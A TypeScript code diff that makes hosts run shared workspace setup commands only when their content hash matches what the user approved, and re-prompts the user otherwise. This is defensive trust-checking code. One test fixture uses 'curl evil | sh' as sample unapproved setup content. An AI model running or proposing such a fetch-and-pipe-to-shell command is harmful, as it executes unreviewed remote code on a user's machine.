runtimeOwnerEnvironmentId?: string | null,
isCancelled: () => boolean = NEVER_CANCEL_TRUST_CHECK,
signal?: AbortSignal
): Promise<'run' | 'skip'> {
): Promise<HookTrustApproval> {
return enqueueTrustPrompt(async () => {
if (isCancelled() || signal?.aborted) {
return 'skip'
return SKIP
}
const state = typeof stateOrGetter === 'function' ? stateOrGetter() : stateOrGetter
if (canUseRepoWideTrust(state.trustedOrcaHooks, state.repos, repoId)) {
return 'run'
return RUN_ANY
}
let scriptContent = ''
@@ -263,13 +269,13 @@ export async function ensureHooksConfirmed(
{ wakeWslDistro: true }
)
if (isUserOwnedIssueCommand(result)) {
return 'run'
return RUN_ANY
}
if (result.status === 'error') {
return 'skip'
return SKIP
}
if (result.source === 'none') {
return 'run'
return RUN_ANY
}
scriptContent = getIssueCommandTrustContent(result)
} else {
@@ -282,14 +288,14 @@ export async function ensureHooksConfirmed(
}
)
if (sourcePolicy === 'local-only') {
return 'run'
return RUN_ANY
}
const result = await checkRuntimeHooks(
hookRepoOwnerHostId(state, repoId, hostId, runtimeOwnerEnvironmentId),
repoId
)
if (result.status === 'error') {
return 'skip'
return SKIP
}
const yamlHooks = (result.hooks as OrcaHooks | null) ?? null
scriptContent =
@@ -301,7 +307,7 @@ export async function ensureHooksConfirmed(
}
} catch {
// Fail closed: if we cannot inspect the script, we cannot trust it.
return 'skip'
return SKIP
}
return confirmScriptContent(
@@ -0,0 +1,24 @@
import type { OrcaHooks } from '../../../shared/orca-yaml-hook-types'
/** The environment recipe commands a vmRecipe trust approval covers. */
export function getVmRecipeTrustContent(yamlHooks: OrcaHooks | null): string {
return (yamlHooks?.environmentRecipes ?? [])
.map((recipe) =>
[
`# environmentRecipes.${recipe.id}`,
`name: ${recipe.name}`,
recipe.description ? `description: ${recipe.description}` : null,
`create: ${recipe.create}`,
recipe.suspend ? `suspend: ${recipe.suspend}` : null,
recipe.resume ? `resume: ${recipe.resume}` : null,
recipe.destroyDisabled
? 'destroy: none'
: recipe.destroy
? `destroy: ${recipe.destroy}`
: null
]
.filter((entry): entry is string => entry !== null)
.join('\n')
)
.join('\n\n')
}
+15 -4
View File
@@ -1,7 +1,7 @@
import type { AppState } from '@/store/types'
import type { ExecutionHostId } from '../../../shared/execution-host'
import type { SetupDecision } from '../../../shared/worktree/create-types'
import { ensureHooksConfirmed } from './ensure-hooks-confirmed'
import { ensureHooksApproved } from './ensure-hooks-confirmed'
import { settleComposerSubmit } from './composer-submit-cancellation'
export async function confirmWorkspaceSetupDecision<T extends SetupDecision | undefined>(
@@ -11,9 +11,12 @@ export async function confirmWorkspaceSetupDecision<T extends SetupDecision | un
ownerHostId: ExecutionHostId | undefined,
isCancelled: () => boolean,
signal?: AbortSignal
): Promise<{ setupDecision: T | 'skip'; trustDecision: 'run' | 'skip' } | 'cancelled'> {
): Promise<
| { setupDecision: T | 'skip'; trustDecision: 'run' | 'skip'; approvedSetupHash?: string }
| 'cancelled'
> {
const trust = await settleComposerSubmit(
ensureHooksConfirmed(
ensureHooksApproved(
stateOrGetter,
repoId,
'setup',
@@ -27,5 +30,13 @@ export async function confirmWorkspaceSetupDecision<T extends SetupDecision | un
if (trust.status === 'cancelled') {
return 'cancelled'
}
return { setupDecision: trust.value === 'skip' ? 'skip' : decision, trustDecision: trust.value }
const { decision: trustDecision, approvedContentHash } = trust.value
// The host runs shared setup only if the created branch's content hashes to this.
return {
setupDecision: trustDecision === 'skip' ? 'skip' : decision,
trustDecision,
...(trustDecision === 'run' && approvedContentHash !== undefined
? { approvedSetupHash: approvedContentHash }
: {})
}
}
@@ -71,6 +71,8 @@ export type WorktreeCreationRequest = {
baseBranch?: string
compareBaseRef?: string
setupDecision: SetupDecision
/** Hash of the setup content confirmed at submit; the host compares it with the created branch's. */
approvedSetupHash?: string
/** Inspect and confirm scripts on the captured host after the composer closes. */
hookPreparation?: {
executionHostId?: ExecutionHostId
@@ -69,7 +69,9 @@ export async function prepareDirectWorkItemSetup(
ownerHostId: ExecutionHostId,
signal?: AbortSignal,
onSetupRequired?: () => void
): Promise<SetupDecision | 'cancelled' | 'review-request'> {
): Promise<
{ setupDecision: SetupDecision; approvedSetupHash?: string } | 'cancelled' | 'review-request'
> {
const inspection = await resolveDirectSetupDecision(repo.id, repo, ownerHostId)
if (signal?.aborted) {
return 'cancelled'
@@ -98,5 +100,9 @@ export async function prepareDirectWorkItemSetup(
() => signal?.aborted === true,
signal
)
return confirmed === 'cancelled' ? 'cancelled' : confirmed.setupDecision
if (confirmed === 'cancelled') {
return 'cancelled'
}
const { setupDecision, approvedSetupHash } = confirmed
return { setupDecision, ...(approvedSetupHash !== undefined ? { approvedSetupHash } : {}) }
}
@@ -86,7 +86,8 @@ vi.mock('@/lib/workspace/activation/worktree-activation', () => ({
}))
vi.mock('@/lib/ensure-hooks-confirmed', () => ({
ensureHooksConfirmed: vi.fn().mockResolvedValue('run')
ensureHooksConfirmed: vi.fn().mockResolvedValue('run'),
ensureHooksApproved: vi.fn().mockResolvedValue({ decision: 'run' })
}))
vi.mock('@/lib/connection-context', () => ({
@@ -61,16 +61,16 @@ export async function launchWorkItemDirect(
const { repo } = context
const promptDelivery = args.promptDelivery ?? 'draft'
const { itemType, itemNumber } = getDirectWorkItemIdentity(item)
const finalSetupDecision = await prepareDirectWorkItemSetup(
const confirmedSetup = await prepareDirectWorkItemSetup(
repo,
context.executionHostId,
args.signal,
args.onSetupRequired
)
if (finalSetupDecision === 'review-request') {
if (confirmedSetup === 'review-request') {
return false
}
if (finalSetupDecision === 'cancelled') {
if (confirmedSetup === 'cancelled') {
return 'cancelled'
}
@@ -168,7 +168,7 @@ export async function launchWorkItemDirect(
repoId,
workspaceName,
resolvedBaseBranch,
finalSetupDecision,
confirmedSetup.setupDecision,
undefined,
telemetrySource,
workspaceIntentName?.displayName ?? item.title,
@@ -190,7 +190,12 @@ export async function launchWorkItemDirect(
undefined,
undefined,
resolvedCompareBaseRef,
{ executionHostId: context.executionHostId }
{
executionHostId: context.executionHostId,
...(confirmedSetup.approvedSetupHash !== undefined
? { approvedSetupHash: confirmedSetup.approvedSetupHash }
: {})
}
)
const worktreeId = result.worktree.id
const worktreePath = result.worktree.path
@@ -1,4 +1,4 @@
import { prepareWorktreeCreationHooks } from '@/lib/workspace/creation/worktree-creation-hook-preparation'
import { prepareWorktreeCreationHooks, setupCreateArgs } from './worktree-creation-hook-preparation'
import { useAppStore } from '@/store/index'
import {
activateAndRevealWorktree,
@@ -93,7 +93,7 @@ export async function executeWorktreeCreation(
preparedRequest.linkedGiteaPR,
preparedRequest.compareBaseRef,
{
setupOnly: preparedRequest.setupOnly,
...setupCreateArgs(preparedRequest),
...(preparedRequest.branchIntent ? { branchIntent: preparedRequest.branchIntent } : {}),
...(hostAgentLaunch ? { hostAgentLaunch } : {}),
executionHostId: creationHostId,
@@ -38,7 +38,7 @@ export async function prepareWorktreeCreationHooks(
return null
}
const { setupDecision, trustDecision } = confirmed
const { setupDecision, trustDecision, approvedSetupHash } = confirmed
let issueCommand = request.issueCommand
if (preparation.issueCommand && preparation.executionHostId && trustDecision !== 'skip') {
const confirmed = await readAndConfirmRuntimeIssueCommand(
@@ -74,6 +74,7 @@ export async function prepareWorktreeCreationHooks(
hookPreparation: undefined,
executionHostId: request.executionHostId ?? preparation.executionHostId,
setupDecision,
...(approvedSetupHash !== undefined ? { approvedSetupHash } : {}),
issueCommand
}
useAppStore.getState().updatePendingWorktreeCreation(creationId, {
@@ -82,3 +83,15 @@ export async function prepareWorktreeCreationHooks(
})
return prepared
}
/** Setup fields for the create call; the approved hash lets the host check the created branch. */
export function setupCreateArgs(
request: Pick<WorktreeCreationRequest, 'setupOnly' | 'approvedSetupHash'>
): { setupOnly?: boolean; approvedSetupHash?: string } {
return {
setupOnly: request.setupOnly,
...(request.approvedSetupHash !== undefined
? { approvedSetupHash: request.approvedSetupHash }
: {})
}
}
@@ -317,6 +317,38 @@ describe('worktree remote runtime mutations', () => {
})
)
})
it('forwards the approved setup hash and re-prompts with setup the created branch changed', async () => {
const store = createRepoTestStore()
const openModal = vi.fn()
store.setState({ openModal })
mockApi.worktrees.create.mockResolvedValue({
worktree: makeWorktree({
id: 'repo1::/path/feature',
repoId: 'repo1',
path: '/path/feature'
}),
setupTrustMismatch: { contentHash: 'branch-hash', scriptContent: 'curl evil | sh' }
})
const create = store.getState().createWorktree
const args: Parameters<typeof create> = ['repo1', 'feature', 'origin/main', 'run']
args[25] = { approvedSetupHash: 'primary-hash' }
await create(...args)
expect(mockApi.worktrees.create).toHaveBeenCalledWith(
expect.objectContaining({ setupDecision: 'run', approvedSetupHash: 'primary-hash' })
)
await vi.waitFor(() => expect(openModal).toHaveBeenCalledOnce())
expect(openModal).toHaveBeenCalledWith(
'confirm-orca-yaml-hooks',
expect.objectContaining({
repoId: 'repo1',
scriptKind: 'setup',
scriptContent: 'curl evil | sh'
})
)
})
})
// Creation routes by the project row's own host, so every test seeds that row.
@@ -1,4 +1,5 @@
import { showWorktreeCreateWarningToast } from './worktree-create-warning-toast'
import { reviewSetupTrustMismatch } from './created-worktree-setup-trust'
import { createWorktreeOnRuntimeHost } from './host-planned-agent-launch'
import { runtimeRpcTargetForAuthorityKey } from '@/runtime/runtime-client-target'
import { repoHostId } from '../listing/worktree-host-ownership'
@@ -261,6 +262,7 @@ export function createCreateWorktree(
}
const { result } = outcome
showWorktreeCreateWarningToast(result.warning)
reviewSetupTrustMismatch(get, repoId, creationHostId, result)
showLocalBaseRefRefreshToast(result.localBaseRefRefresh, result.worktree, {
updateSettings: get().updateSettings,
executionHostId: creationHostId
@@ -0,0 +1,28 @@
import { toast } from 'sonner'
import { translate } from '@/i18n/i18n'
import type { AppState } from '@/store/types'
import { confirmCreatedWorktreeSetupContent } from '@/lib/ensure-hooks-confirmed'
import type { ExecutionHostId } from '../../../../../../shared/execution-host'
import type { CreateWorktreeResult } from '../../../../../../shared/worktree/create-types'
/** The host skipped setup because the created branch's commands differ; ask about the real ones. */
export function reviewSetupTrustMismatch(
getState: () => AppState,
repoId: string,
hostId: ExecutionHostId | undefined,
result: Pick<CreateWorktreeResult, 'setupTrustMismatch'>
): void {
const mismatch = result.setupTrustMismatch
if (!mismatch) {
return
}
toast.warning(
translate(
'worktree.setupTrust.createdBranchSkipped',
"Setup didn't run: this branch's orca.yaml setup commands differ from the ones you approved."
)
)
void confirmCreatedWorktreeSetupContent(getState, repoId, mismatch.scriptContent, hostId).catch(
(error: unknown) => console.error('Failed to review the workspace setup commands:', error)
)
}
@@ -28,6 +28,8 @@ export type CreateWorktreeCallOptions = {
/** A terminal agent the owning host may plan from its own settings; `startup` stays the fallback. */
hostAgentLaunch?: HostAgentLaunch
setupOnly?: boolean
/** Hash of the confirmed setup content; see CreateWorktreeArgs. */
approvedSetupHash?: string
/** True only when `name` came from the creature-name generator; gates host-side retirement. */
nameWasGenerated?: boolean
displayNameKind?: CreateWorktreeArgs['displayNameKind']
@@ -79,6 +81,9 @@ function sharedCreateFields(
...(attempt.branchNameOverride ? { branchNameOverride: attempt.branchNameOverride } : {}),
...(request.branchIntent ? { branchIntent: request.branchIntent } : {}),
setupDecision: request.setupDecision,
...(options?.approvedSetupHash !== undefined
? { approvedSetupHash: options.approvedSetupHash }
: {}),
...(options?.setupOnly !== undefined ? { setupOnly: options.setupOnly } : {}),
sparseCheckout: request.sparseCheckout,
...(request.displayName ? { displayName: request.displayName } : {}),
@@ -80,6 +80,9 @@ export function createWorktreesApi(): NonNullable<Partial<PreloadApi>['worktrees
sparseCheckout: args.sparseCheckout,
pushTarget: args.pushTarget,
setupDecision: args.setupDecision,
...(args.approvedSetupHash !== undefined
? { approvedSetupHash: args.approvedSetupHash }
: {}),
createdWithAgent: args.createdWithAgent,
pendingFirstAgentMessageRename: args.pendingFirstAgentMessageRename,
...(args.startup
@@ -117,6 +117,8 @@ export const WorktreeCreate = z
)
.pipe(z.union([z.enum(['run', 'skip', 'inherit']), z.undefined()]))
.optional(),
// A malformed hash never matches, so the host skips setup rather than running unapproved content.
approvedSetupHash: z.string().max(128).optional(),
// Desktop can prequote startup commands; clients unable to quote for the host send startupAgent.
startupCommand: OptionalString,
startupEnv: z.record(z.string(), z.string()).optional(),
+7
View File
@@ -47,6 +47,9 @@ export type {
export type SetupDecision = 'inherit' | 'run' | 'skip'
/** The created worktree's shared setup commands, when they differ from what the client approved. */
export type SetupTrustMismatch = { contentHash: string; scriptContent: string }
export type WorktreeCreateTimingPhase = {
phase: string
startedAtMs: number
@@ -106,6 +109,8 @@ export type CreateWorktreeArgs = {
/** V1 open-existing retains legacy tip/collision policy; V2 pins explicit reuse regardless of remote divergence. */
branchIntent?: 'open-existing' | 'open-existing-v2' | 'create-new'
setupDecision?: SetupDecision
/** SHA-256 of the setup trust content the user approved; hosts run shared setup only if the created worktree's matches. Older clients omit it. */
approvedSetupHash?: string
/** Per-create choice; omitted callers use the execution host's saved default. */
setupOnly?: boolean
sparseCheckout?: CreateSparseCheckoutRequest
@@ -189,6 +194,8 @@ export type CreateWorktreeResult = {
terminalHandle?: string
}
defaultTabs?: WorktreeDefaultTabsLaunch
/** Setup and default-tab commands were skipped because the created branch's differ from the approved ones. */
setupTrustMismatch?: SetupTrustMismatch
warning?: string
baseFallback?: WorktreeCreateBaseFallback
initialBaseStatus?: WorktreeBaseStatusEvent